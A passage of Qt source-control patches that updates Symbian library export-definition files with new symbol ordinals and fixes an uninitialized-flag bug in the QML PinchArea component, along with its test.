    +	?setViewport@QTextDocumentLayout@@QAEXABVQRectF@@@Z @ 12936 NONAME ; void QTextDocumentLayout::setViewport(class QRectF const &)
    +	?contentHasAlignment@QTextDocumentLayout@@QBE_NXZ @ 12937 NONAME ; bool QTextDocumentLayout::contentHasAlignment(void) const
    +	?tr@QTextDocumentLayout@@SA?AVQString@@PBD0@Z @ 12938 NONAME ; class QString QTextDocumentLayout::tr(char const *, char const *)
    +	?setLineHeight@QTextDocumentLayout@@IAEXMW4LineHeightMode@1@@Z @ 12939 NONAME ; void QTextDocumentLayout::setLineHeight(float, enum QTextDocumentLayout::LineHeightMode)
    +	?tr@QTextDocumentLayout@@SA?AVQString@@PBD0H@Z @ 12940 NONAME ; class QString QTextDocumentLayout::tr(char const *, char const *, int)
    +	?trUtf8@QTextDocumentLayout@@SA?AVQString@@PBD0@Z @ 12941 NONAME ; class QString QTextDocumentLayout::trUtf8(char const *, char const *)
    +	?frameBoundingRect@QTextDocumentLayout@@UBE?AVQRectF@@PAVQTextFrame@@@Z @ 12942 NONAME ; class QRectF QTextDocumentLayout::frameBoundingRect(class QTextFrame *) const
    +	?setCursorWidth@QTextDocumentLayout@@QAEXH@Z @ 12943 NONAME ; void QTextDocumentLayout::setCursorWidth(int)
    +	??_EQTextDocumentLayout@@UAE@I@Z @ 12944 NONAME ; QTextDocumentLayout::~QTextDocumentLayout(unsigned int)
    +	??0QTextDocumentLayout@@QAE@PAVQTextDocument@@@Z @ 12945 NONAME ; QTextDocumentLayout::QTextDocumentLayout(class QTextDocument *)
    +	?doLayout@QTextDocumentLayout@@AAE?AVQRectF@@HHH@Z @ 12946 NONAME ; class QRectF QTextDocumentLayout::doLayout(int, int, int)
    +	?ensureLayouted@QTextDocumentLayout@@QAEXM@Z @ 12947 NONAME ; void QTextDocumentLayout::ensureLayouted(float)
    +	?layoutFinished@QTextDocumentLayout@@AAEXXZ @ 12948 NONAME ; void QTextDocumentLayout::layoutFinished(void)
    +	?dynamicPageCount@QTextDocumentLayout@@QBEHXZ @ 12949 NONAME ; int QTextDocumentLayout::dynamicPageCount(void) const
     
    diff --git a/src/s60installs/bwins/QtScriptu.def b/src/s60installs/bwins/QtScriptu.def
    index 9d998ca..02a0819 100644
    --- a/src/s60installs/bwins/QtScriptu.def
    +++ b/src/s60installs/bwins/QtScriptu.def
    @@ -403,4 +403,6 @@ EXPORTS
     	??0Value@QScriptDeclarativeClass@@QAE@PAVQScriptContext@@H@Z @ 402 NONAME ; QScriptDeclarativeClass::Value::Value(class QScriptContext *, int)
     	??0PersistentIdentifier@QScriptDeclarativeClass@@AAE@PAVQScriptEnginePrivate@@@Z @ 403 NONAME ; QScriptDeclarativeClass::PersistentIdentifier::PersistentIdentifier(class QScriptEnginePrivate *)
     	?compare@QScriptDeclarativeClass@@UAE_NPAUObject@1@0@Z @ 404 NONAME ; bool QScriptDeclarativeClass::compare(struct QScriptDeclarativeClass::Object *, struct QScriptDeclarativeClass::Object *)
    +	?toString@PersistentIdentifier@QScriptDeclarativeClass@@QBE?AVQString@@XZ @ 405 NONAME ; class QString QScriptDeclarativeClass::PersistentIdentifier::toString(void) const
    +	?startsWithUpper@QScriptDeclarativeClass@@QAE_NABQAX@Z @ 406 NONAME ; bool QScriptDeclarativeClass::startsWithUpper(void * const const &)
     
    diff --git a/src/s60installs/eabi/QtCoreu.def b/src/s60installs/eabi/QtCoreu.def
    index 5815b28..fce55dd 100644
    --- a/src/s60installs/eabi/QtCoreu.def
    +++ b/src/s60installs/eabi/QtCoreu.def
    @@ -3715,4 +3715,6 @@ EXPORTS
     	_ZN24QAbstractDeclarativeData17objectNameChangedE @ 3714 NONAME DATA 4
     	_ZN23QEventDispatcherSymbian36queueDeferredActiveObjectsCompletionEv @ 3715 NONAME
     	_ZN23QCoreApplicationPrivate18symbianCommandLineEv @ 3716 NONAME
    +	_ZNK11QMetaMethod8revisionEv @ 3717 NONAME
    +	_ZNK13QMetaProperty8revisionEv @ 3718 NONAME
     
    diff --git a/src/s60installs/eabi/QtDeclarativeu.def b/src/s60installs/eabi/QtDeclarativeu.def
    index 1f69061..fe2a7a1 100644
    --- a/src/s60installs/eabi/QtDeclarativeu.def
    +++ b/src/s60installs/eabi/QtDeclarativeu.def
    @@ -19,24 +19,24 @@ EXPORTS
     	_ZN15QPacketAutoSendD0Ev @ 18 NONAME ABSENT
     	_ZN15QPacketAutoSendD1Ev @ 19 NONAME ABSENT
     	_ZN15QPacketAutoSendD2Ev @ 20 NONAME ABSENT
    -	_ZN15QPacketProtocol11qt_metacallEN11QMetaObject4CallEiPPv @ 21 NONAME ABSENT
    -	_ZN15QPacketProtocol11qt_metacastEPKc @ 22 NONAME ABSENT
    -	_ZN15QPacketProtocol13invalidPacketEv @ 23 NONAME ABSENT
    -	_ZN15QPacketProtocol13packetWrittenEv @ 24 NONAME ABSENT
    -	_ZN15QPacketProtocol16staticMetaObjectE @ 25 NONAME DATA 16 ABSENT
    -	_ZN15QPacketProtocol19getStaticMetaObjectEv @ 26 NONAME ABSENT
    -	_ZN15QPacketProtocol20setMaximumPacketSizeEi @ 27 NONAME ABSENT
    -	_ZN15QPacketProtocol4readEv @ 28 NONAME ABSENT
    -	_ZN15QPacketProtocol4sendERK7QPacket @ 29 NONAME ABSENT
    -	_ZN15QPacketProtocol4sendEv @ 30 NONAME ABSENT
    -	_ZN15QPacketProtocol5clearEv @ 31 NONAME ABSENT
    -	_ZN15QPacketProtocol6deviceEv @ 32 NONAME ABSENT
    -	_ZN15QPacketProtocol9readyReadEv @ 33 NONAME ABSENT
    -	_ZN15QPacketProtocolC1EP9QIODeviceP7QObject @ 34 NONAME ABSENT
    -	_ZN15QPacketProtocolC2EP9QIODeviceP7QObject @ 35 NONAME ABSENT
    -	_ZN15QPacketProtocolD0Ev @ 36 NONAME ABSENT
    -	_ZN15QPacketProtocolD1Ev @ 37 NONAME ABSENT
    -	_ZN15QPacketProtocolD2Ev @ 38 NONAME ABSENT
    +	_ZN15QPacketProtocol11qt_metacallEN11QMetaObject4CallEiPPv @ 21 NONAME
    +	_ZN15QPacketProtocol11qt_metacastEPKc @ 22 NONAME
    +	_ZN15QPacketProtocol13invalidPacketEv @ 23 NONAME
    +	_ZN15QPacketProtocol13packetWrittenEv @ 24 NONAME
    +	_ZN15QPacketProtocol16staticMetaObjectE @ 25 NONAME DATA 16
    +	_ZN15QPacketProtocol19getStaticMetaObjectEv @ 26 NONAME
    +	_ZN15QPacketProtocol20setMaximumPacketSizeEi @ 27 NONAME
    +	_ZN15QPacketProtocol4readEv @ 28 NONAME
    +	_ZN15QPacketProtocol4sendERK7QPacket @ 29 NONAME
    +	_ZN15QPacketProtocol4sendEv @ 30 NONAME
    +	_ZN15QPacketProtocol5clearEv @ 31 NONAME
    +	_ZN15QPacketProtocol6deviceEv @ 32 NONAME
    +	_ZN15QPacketProtocol9readyReadEv @ 33 NONAME
    +	_ZN15QPacketProtocolC1EP9QIODeviceP7QObject @ 34 NONAME
    +	_ZN15QPacketProtocolC2EP9QIODeviceP7QObject @ 35 NONAME
    +	_ZN15QPacketProtocolD0Ev @ 36 NONAME
    +	_ZN15QPacketProtocolD1Ev @ 37 NONAME
    +	_ZN15QPacketProtocolD2Ev @ 38 NONAME
     	_ZN16QDeclarativeInfoC1EP23QDeclarativeInfoPrivate @ 39 NONAME
     	_ZN16QDeclarativeInfoC1ERKS_ @ 40 NONAME
     	_ZN16QDeclarativeInfoC2EP23QDeclarativeInfoPrivate @ 41 NONAME
    @@ -241,8 +241,8 @@ EXPORTS
     	_ZN18QDeclarativePixmap23connectDownloadProgressEP7QObjecti @ 240 NONAME
     	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrl @ 241 NONAME
     	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSize @ 242 NONAME
    -	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSizeb @ 243 NONAME
    -	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlb @ 244 NONAME
    +	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSizeb @ 243 NONAME ABSENT
    +	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlb @ 244 NONAME ABSENT
     	_ZN18QDeclarativePixmap5clearEP7QObject @ 245 NONAME
     	_ZN18QDeclarativePixmap5clearEv @ 246 NONAME
     	_ZN18QDeclarativePixmap9setPixmapERK7QPixmap @ 247 NONAME
    @@ -1059,20 +1059,20 @@ EXPORTS
     	_ZN39QDeclarativeNetworkAccessManagerFactoryD0Ev @ 1058 NONAME
     	_ZN39QDeclarativeNetworkAccessManagerFactoryD1Ev @ 1059 NONAME
     	_ZN39QDeclarativeNetworkAccessManagerFactoryD2Ev @ 1060 NONAME
    -	_ZN7QPacket5clearEv @ 1061 NONAME ABSENT
    -	_ZN7QPacketC1ERK10QByteArray @ 1062 NONAME ABSENT
    -	_ZN7QPacketC1ERKS_ @ 1063 NONAME ABSENT
    -	_ZN7QPacketC1Ev @ 1064 NONAME ABSENT
    -	_ZN7QPacketC2ERK10QByteArray @ 1065 NONAME ABSENT
    -	_ZN7QPacketC2ERKS_ @ 1066 NONAME ABSENT
    -	_ZN7QPacketC2Ev @ 1067 NONAME ABSENT
    -	_ZN7QPacketD0Ev @ 1068 NONAME ABSENT
    -	_ZN7QPacketD1Ev @ 1069 NONAME ABSENT
    -	_ZN7QPacketD2Ev @ 1070 NONAME ABSENT
    +	_ZN7QPacket5clearEv @ 1061 NONAME
    +	_ZN7QPacketC1ERK10QByteArray @ 1062 NONAME
    +	_ZN7QPacketC1ERKS_ @ 1063 NONAME
    +	_ZN7QPacketC1Ev @ 1064 NONAME
    +	_ZN7QPacketC2ERK10QByteArray @ 1065 NONAME
    +	_ZN7QPacketC2ERKS_ @ 1066 NONAME
    +	_ZN7QPacketC2Ev @ 1067 NONAME
    +	_ZN7QPacketD0Ev @ 1068 NONAME
    +	_ZN7QPacketD1Ev @ 1069 NONAME
    +	_ZN7QPacketD2Ev @ 1070 NONAME
     	_ZNK15QDeclarativePen10metaObjectEv @ 1071 NONAME ABSENT
    -	_ZNK15QPacketProtocol10metaObjectEv @ 1072 NONAME ABSENT
    -	_ZNK15QPacketProtocol16packetsAvailableEv @ 1073 NONAME ABSENT
    -	_ZNK15QPacketProtocol17maximumPacketSizeEv @ 1074 NONAME ABSENT
    +	_ZNK15QPacketProtocol10metaObjectEv @ 1072 NONAME
    +	_ZNK15QPacketProtocol16packetsAvailableEv @ 1073 NONAME
    +	_ZNK15QPacketProtocol17maximumPacketSizeEv @ 1074 NONAME
     	_ZNK16QDeclarativeItem10metaObjectEv @ 1075 NONAME
     	_ZNK16QDeclarativeItem10parentItemEv @ 1076 NONAME
     	_ZNK16QDeclarativeItem10widthValidEv @ 1077 NONAME
    @@ -1524,10 +1524,10 @@ EXPORTS
     	_ZNK36QDeclarativeDomValueValueInterceptor6objectEv @ 1523 NONAME ABSENT
     	_ZNK38QDeclarativeDebugObjectExpressionWatch10expressionEv @ 1524 NONAME ABSENT
     	_ZNK38QDeclarativeDebugObjectExpressionWatch10metaObjectEv @ 1525 NONAME ABSENT
    -	_ZNK7QPacket7isEmptyEv @ 1526 NONAME ABSENT
    +	_ZNK7QPacket7isEmptyEv @ 1526 NONAME
     	_ZTI15QDeclarativePen @ 1527 NONAME ABSENT
     	_ZTI15QPacketAutoSend @ 1528 NONAME ABSENT
    -	_ZTI15QPacketProtocol @ 1529 NONAME ABSENT
    +	_ZTI15QPacketProtocol @ 1529 NONAME
     	_ZTI16QDeclarativeItem @ 1530 NONAME
     	_ZTI16QDeclarativeText @ 1531 NONAME ABSENT
     	_ZTI16QDeclarativeView @ 1532 NONAME
    @@ -1574,10 +1574,10 @@ EXPORTS
     	_ZTI36QDeclarativePropertyValueInterceptor @ 1573 NONAME
     	_ZTI38QDeclarativeDebugObjectExpressionWatch @ 1574 NONAME ABSENT
     	_ZTI39QDeclarativeNetworkAccessManagerFactory @ 1575 NONAME
    -	_ZTI7QPacket @ 1576 NONAME ABSENT
    +	_ZTI7QPacket @ 1576 NONAME
     	_ZTV15QDeclarativePen @ 1577 NONAME ABSENT
     	_ZTV15QPacketAutoSend @ 1578 NONAME ABSENT
    -	_ZTV15QPacketProtocol @ 1579 NONAME ABSENT
    +	_ZTV15QPacketProtocol @ 1579 NONAME
     	_ZTV16QDeclarativeItem @ 1580 NONAME
     	_ZTV16QDeclarativeText @ 1581 NONAME ABSENT
     	_ZTV16QDeclarativeView @ 1582 NONAME
    @@ -1623,7 +1623,7 @@ EXPORTS
     	_ZTV36QDeclarativePropertyValueInterceptor @ 1622 NONAME
     	_ZTV38QDeclarativeDebugObjectExpressionWatch @ 1623 NONAME ABSENT
     	_ZTV39QDeclarativeNetworkAccessManagerFactory @ 1624 NONAME
    -	_ZTV7QPacket @ 1625 NONAME ABSENT
    +	_ZTV7QPacket @ 1625 NONAME
     	_ZThn16_N16QDeclarativeItem10classBeginEv @ 1626 NONAME
     	_ZThn16_N16QDeclarativeItem17componentCompleteEv @ 1627 NONAME
     	_ZThn16_N16QDeclarativeItemD0Ev @ 1628 NONAME
    @@ -1677,9 +1677,9 @@ EXPORTS
     	_ZN23QDeclarativeEngineDebug10newObjectsEv @ 1676 NONAME ABSENT
     	_ZN17QDeclarativeState20addEntryToRevertListERK18QDeclarativeAction @ 1677 NONAME
     	_ZN17QDeclarativeState22addEntriesToRevertListERK5QListI18QDeclarativeActionE @ 1678 NONAME
    -	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK10QByteArrayRK8QVariant @ 1679 NONAME
    -	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK10QByteArrayP27QDeclarativeAbstractBinding @ 1680 NONAME
    -	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK10QByteArray @ 1681 NONAME
    +	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK10QByteArrayRK8QVariant @ 1679 NONAME ABSENT
    +	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK10QByteArrayP27QDeclarativeAbstractBinding @ 1680 NONAME ABSENT
    +	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK10QByteArray @ 1681 NONAME ABSENT
     	_ZN17QDeclarativeState30removeAllEntriesFromRevertListEP7QObject @ 1682 NONAME
     	_ZN23QDeclarativeItemPrivate10data_clearEP24QDeclarativeListPropertyI7QObjectE @ 1683 NONAME
     	_ZN23QDeclarativeItemPrivate10data_countEP24QDeclarativeListPropertyI7QObjectE @ 1684 NONAME
    @@ -1706,9 +1706,9 @@ EXPORTS
     	_ZN27QDeclarativePropertyChangesD1Ev @ 1705 NONAME ABSENT
     	_ZN27QDeclarativePropertyChangesD2Ev @ 1706 NONAME ABSENT
     	_ZNK17QDeclarativeState13isStateActiveEv @ 1707 NONAME
    -	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK10QByteArray @ 1708 NONAME
    -	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK10QByteArray @ 1709 NONAME
    -	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK10QByteArray @ 1710 NONAME
    +	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK10QByteArray @ 1708 NONAME ABSENT
    +	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK10QByteArray @ 1709 NONAME ABSENT
    +	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK10QByteArray @ 1710 NONAME ABSENT
     	_ZNK26QDeclarativeStateOperation5stateEv @ 1711 NONAME
     	_ZNK27QDeclarativePropertyChanges10expressionERK10QByteArray @ 1712 NONAME ABSENT
     	_ZNK27QDeclarativePropertyChanges10isExplicitEv @ 1713 NONAME ABSENT
    @@ -1747,8 +1747,8 @@ EXPORTS
     	_ZN21QDeclarativeListModelC1EPKS_P32QDeclarativeListModelWorkerAgent @ 1746 NONAME ABSENT
     	_ZN21QDeclarativeListModelC2EPKS_P32QDeclarativeListModelWorkerAgent @ 1747 NONAME ABSENT
     	_ZNK21QDeclarativeListModel14inWorkerThreadEv @ 1748 NONAME ABSENT
    -	_ZN23QDeclarativeDebugHelper15getScriptEngineEP18QDeclarativeEngine @ 1749 NONAME ABSENT
    -	_ZN23QDeclarativeDebugHelper26setAnimationSlowDownFactorEf @ 1750 NONAME ABSENT
    +	_ZN23QDeclarativeDebugHelper15getScriptEngineEP18QDeclarativeEngine @ 1749 NONAME
    +	_ZN23QDeclarativeDebugHelper26setAnimationSlowDownFactorEf @ 1750 NONAME
     	_ZN17QDeclarativeTimer10classBeginEv @ 1751 NONAME ABSENT
     	_ZN17QDeclarativeTimer10setRunningEb @ 1752 NONAME ABSENT
     	_ZN17QDeclarativeTimer11qt_metacallEN11QMetaObject4CallEiPPv @ 1753 NONAME ABSENT
    @@ -1885,4 +1885,40 @@ EXPORTS
     	_ZThn8_N29QDeclarativeAbstractAnimationD1Ev @ 1884 NONAME ABSENT
     	_ZN23QDeclarativeDebugHelper15enableDebuggingEv @ 1885 NONAME
     	_ZN27QDeclarativePropertyPrivate7connectEPK7QObjectiS2_iiPi @ 1886 NONAME ABSENT
    +	_ZN16QDeclarativeItem20implicitWidthChangedEv @ 1887 NONAME
    +	_ZN16QDeclarativeItem21implicitHeightChangedEv @ 1888 NONAME
    +	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK7QStringRK8QVariant @ 1889 NONAME
    +	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK7QStringP27QDeclarativeAbstractBinding @ 1890 NONAME
    +	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK7QString @ 1891 NONAME
    +	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrl6QFlagsINS_6OptionEE @ 1892 NONAME
    +	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSize6QFlagsINS_6OptionEE @ 1893 NONAME
    +	_ZN21QDeclarativeComponent12createObjectEP7QObjectRK12QScriptValue @ 1894 NONAME
    +	_ZN22QDeclarativeExpressionC1EP23QDeclarativeContextDataP7QObjectRK12QScriptValueR29QDeclarativeExpressionPrivate @ 1895 NONAME
    +	_ZN22QDeclarativeExpressionC2EP23QDeclarativeContextDataP7QObjectRK12QScriptValueR29QDeclarativeExpressionPrivate @ 1896 NONAME
    +	_ZN23QDeclarativeDebugServer10addServiceEP24QDeclarativeDebugService @ 1897 NONAME
    +	_ZN23QDeclarativeDebugServer11qt_metacallEN11QMetaObject4CallEiPPv @ 1898 NONAME
    +	_ZN23QDeclarativeDebugServer11qt_metacastEPKc @ 1899 NONAME
    +	_ZN23QDeclarativeDebugServer11sendMessageEP24QDeclarativeDebugServiceRK10QByteArray @ 1900 NONAME
    +	_ZN23QDeclarativeDebugServer13removeServiceEP24QDeclarativeDebugService @ 1901 NONAME
    +	_ZN23QDeclarativeDebugServer14receiveMessageERK10QByteArray @ 1902 NONAME
    +	_ZN23QDeclarativeDebugServer16staticMetaObjectE @ 1903 NONAME DATA 16
    +	_ZN23QDeclarativeDebugServer19getStaticMetaObjectEv @ 1904 NONAME
    +	_ZN23QDeclarativeDebugServer8instanceEv @ 1905 NONAME
    +	_ZN23QDeclarativeDebugServerC1Ev @ 1906 NONAME
    +	_ZN23QDeclarativeDebugServerC2Ev @ 1907 NONAME
    +	_ZN23QDeclarativeItemPrivate20implicitWidthChangedEv @ 1908 NONAME
    +	_ZN23QDeclarativeItemPrivate21implicitHeightChangedEv @ 1909 NONAME
    +	_ZN24QDeclarativeCustomParser14rewriteBindingERK7QStringRK10QByteArray @ 1910 NONAME
    +	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK7QString @ 1911 NONAME
    +	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK7QString @ 1912 NONAME
    +	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK7QString @ 1913 NONAME
    +	_ZNK23QDeclarativeDebugServer10metaObjectEv @ 1914 NONAME
    +	_ZNK23QDeclarativeDebugServer12serviceNamesEv @ 1915 NONAME
    +	_ZNK23QDeclarativeDebugServer18hasDebuggingClientEv @ 1916 NONAME
    +	_ZNK23QDeclarativeDebugServer8servicesEv @ 1917 NONAME
    +	_ZNK23QDeclarativeItemPrivate13implicitWidthEv @ 1918 NONAME
    +	_ZNK23QDeclarativeItemPrivate14implicitHeightEv @ 1919 NONAME
    +	_ZNK7QPacket4dataEv @ 1920 NONAME
    +	_ZTI23QDeclarativeDebugServer @ 1921 NONAME
    +	_ZTV23QDeclarativeDebugServer @ 1922 NONAME
     
    diff --git a/src/s60installs/eabi/QtGuiu.def b/src/s60installs/eabi/QtGuiu.def
    index 48976a1..d552931 100644
    --- a/src/s60installs/eabi/QtGuiu.def
    +++ b/src/s60installs/eabi/QtGuiu.def
    @@ -12108,4 +12108,39 @@ EXPORTS
     	_ZN20QGraphicsItemPrivate11setSubFocusEP13QGraphicsItemS1_ @ 12107 NONAME
     	_ZN20QGraphicsItemPrivate13clearSubFocusEP13QGraphicsItemS1_ @ 12108 NONAME
     	_ZN12QLineControl21resetCursorBlinkTimerEv @ 12109 NONAME
    +	_ZN12QTextControl14setDragEnabledEb @ 12110 NONAME
    +	_ZN19QTextDocumentLayout10timerEventEP11QTimerEvent @ 12111 NONAME
    +	_ZN19QTextDocumentLayout11qt_metacallEN11QMetaObject4CallEiPPv @ 12112 NONAME
    +	_ZN19QTextDocumentLayout11qt_metacastEPKc @ 12113 NONAME
    +	_ZN19QTextDocumentLayout11setViewportERK6QRectF @ 12114 NONAME
    +	_ZN19QTextDocumentLayout13setLineHeightEfNS_14LineHeightModeE @ 12115 NONAME
    +	_ZN19QTextDocumentLayout14ensureLayoutedEf @ 12116 NONAME
    +	_ZN19QTextDocumentLayout14layoutFinishedEv @ 12117 NONAME
    +	_ZN19QTextDocumentLayout14setCursorWidthEi @ 12118 NONAME
    +	_ZN19QTextDocumentLayout15documentChangedEiii @ 12119 NONAME
    +	_ZN19QTextDocumentLayout16drawInlineObjectEP8QPainterRK6QRectF17QTextInlineObjectiRK11QTextFormat @ 12120 NONAME
    +	_ZN19QTextDocumentLayout16staticMetaObjectE @ 12121 NONAME DATA 16
    +	_ZN19QTextDocumentLayout18resizeInlineObjectE17QTextInlineObjectiRK11QTextFormat @ 12122 NONAME
    +	_ZN19QTextDocumentLayout19getStaticMetaObjectEv @ 12123 NONAME
    +	_ZN19QTextDocumentLayout19setFixedColumnWidthEi @ 12124 NONAME
    +	_ZN19QTextDocumentLayout20positionInlineObjectE17QTextInlineObjectiRK11QTextFormat @ 12125 NONAME
    +	_ZN19QTextDocumentLayout4drawEP8QPainterRKN27QAbstractTextDocumentLayout12PaintContextE @ 12126 NONAME
    +	_ZN19QTextDocumentLayout8doLayoutEiii @ 12127 NONAME
    +	_ZN19QTextDocumentLayoutC1EP13QTextDocument @ 12128 NONAME
    +	_ZN19QTextDocumentLayoutC2EP13QTextDocument @ 12129 NONAME
    +	_ZNK12QTextControl13isDragEnabledEv @ 12130 NONAME
    +	_ZNK19QTextDocumentLayout10idealWidthEv @ 12131 NONAME
    +	_ZNK19QTextDocumentLayout10metaObjectEv @ 12132 NONAME
    +	_ZNK19QTextDocumentLayout11cursorWidthEv @ 12133 NONAME
    +	_ZNK19QTextDocumentLayout12documentSizeEv @ 12134 NONAME
    +	_ZNK19QTextDocumentLayout12layoutStatusEv @ 12135 NONAME
    +	_ZNK19QTextDocumentLayout16dynamicPageCountEv @ 12136 NONAME
    +	_ZNK19QTextDocumentLayout17blockBoundingRectERK10QTextBlock @ 12137 NONAME
    +	_ZNK19QTextDocumentLayout17frameBoundingRectEP10QTextFrame @ 12138 NONAME
    +	_ZNK19QTextDocumentLayout19contentHasAlignmentEv @ 12139 NONAME
    +	_ZNK19QTextDocumentLayout19dynamicDocumentSizeEv @ 12140 NONAME
    +	_ZNK19QTextDocumentLayout7hitTestERK7QPointFN2Qt15HitTestAccuracyE @ 12141 NONAME
    +	_ZNK19QTextDocumentLayout9pageCountEv @ 12142 NONAME
    +	_ZTI19QTextDocumentLayout @ 12143 NONAME
    +	_ZTV19QTextDocumentLayout @ 12144 NONAME
     
    diff --git a/src/s60installs/eabi/QtScriptu.def b/src/s60installs/eabi/QtScriptu.def
    index b26f9c7..f7da892 100644
    --- a/src/s60installs/eabi/QtScriptu.def
    +++ b/src/s60installs/eabi/QtScriptu.def
    @@ -441,4 +441,6 @@ EXPORTS
     	_ZN25QScriptEngineAgentPrivate18didReachBreakpointERKN5QTJSC17DebuggerCallFrameEii @ 440 NONAME
     	_ZNK23QScriptDeclarativeClass12supportsCallEv @ 441 NONAME
     	_ZNK23QScriptDeclarativeClass5Value13toScriptValueEP13QScriptEngine @ 442 NONAME
    +	_ZN23QScriptDeclarativeClass15startsWithUpperERKPv @ 443 NONAME
    +	_ZNK23QScriptDeclarativeClass20PersistentIdentifier8toStringEv @ 444 NONAME
     
    diff --git a/tools/qml/qdeclarativetester.cpp b/tools/qml/qdeclarativetester.cpp
    index 3f4be57..11f81fc 100644
    --- a/tools/qml/qdeclarativetester.cpp
    +++ b/tools/qml/qdeclarativetester.cpp
    @@ -48,7 +48,10 @@
     #include 
     #include 
     #include 
    +#include 
    +#ifndef Q_OS_SYMBIAN
     #include 
    +#endif
     
     QT_BEGIN_NAMESPACE
     
    @@ -266,7 +269,9 @@ void QDeclarativeTester::save()
     
     void QDeclarativeTester::updateCurrentTime(int msec)
     {
    +#ifndef Q_OS_SYMBIAN
         QDeclarativeItemPrivate::setConsistentTime(msec);
    +#endif
         if (!testscript && msec > 16 && options & QDeclarativeViewer::Snapshot)
             return;
     
    -- 
    cgit v0.12
    
    
    From 88b072b3644cfd960367096ae0103e8ddef0d06d Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Tue, 1 Feb 2011 13:09:44 +1000
    Subject: PinchArea sometimes failed.
    
    Almost always failed on Mac and could fail on other systems due to
    QDeclarativePinchEvent::m_accepted not being initialized.
    
    Task-number: QTBUG-15491
    Reviewed-by: Bea Lam
    ---
     .../graphicsitems/qdeclarativepincharea.cpp        |  5 ++++-
     .../graphicsitems/qdeclarativepincharea_p.h        |  2 +-
     .../graphicsitems/qdeclarativepincharea_p_p.h      |  2 +-
     .../tst_qdeclarativepincharea.cpp                  | 24 ----------------------
     4 files changed, 6 insertions(+), 27 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
    index 436099e..eae83f6 100644
    --- a/src/declarative/graphicsitems/qdeclarativepincharea.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
    @@ -312,6 +312,7 @@ void QDeclarativePinchArea::updatePinch()
                 pe.setPoint1(d->lastPoint1);
                 pe.setPoint2(d->lastPoint2);
                 emit pinchFinished(&pe);
    +            d->pinchStartDist = 0;
                 if (d->pinch && d->pinch->target())
                     d->pinch->setActive(false);
             }
    @@ -363,7 +364,9 @@ void QDeclarativePinchArea::updatePinch()
                         if (pe.accepted()) {
                             d->inPinch = true;
                             d->stealMouse = true;
    -                        grabMouse();
    +                        QGraphicsScene *s = scene();
    +                        if (s && s->mouseGrabberItem() != this)
    +                            grabMouse();
                             setKeepMouseGrab(true);
                             if (d->pinch && d->pinch->target()) {
                                 d->pinchStartPos = pinch()->target()->pos();
    diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
    index cd5423d..6d04708 100644
    --- a/src/declarative/graphicsitems/qdeclarativepincharea_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
    @@ -207,7 +207,7 @@ class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject
     
     public:
         QDeclarativePinchEvent(QPointF c, qreal s, qreal a, qreal r)
    -        : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r) {}
    +        : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r), m_accepted(true) {}
     
         QPointF center() const { return m_center; }
         QPointF startCenter() const { return m_startCenter; }
    diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
    index b1cdf68..5641e35 100644
    --- a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
    @@ -68,7 +68,7 @@ class QDeclarativePinchAreaPrivate : public QDeclarativeItemPrivate
     public:
         QDeclarativePinchAreaPrivate()
           : absorb(true), stealMouse(false), inPinch(false)
    -      , pinchRejected(false), pinch(0)
    +      , pinchRejected(false), pinch(0), pinchStartDist(0)
         {
         }
     
    diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    index b7e7a99..f175033 100644
    --- a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    @@ -228,14 +228,8 @@ void tst_QDeclarativePinchArea::scale()
         p2 += QPoint(10,10);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo on mac", Continue);
    -#endif
         QCOMPARE(root->property("scale").toReal(), 1.5);
         QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo on mac", Continue);
    -#endif
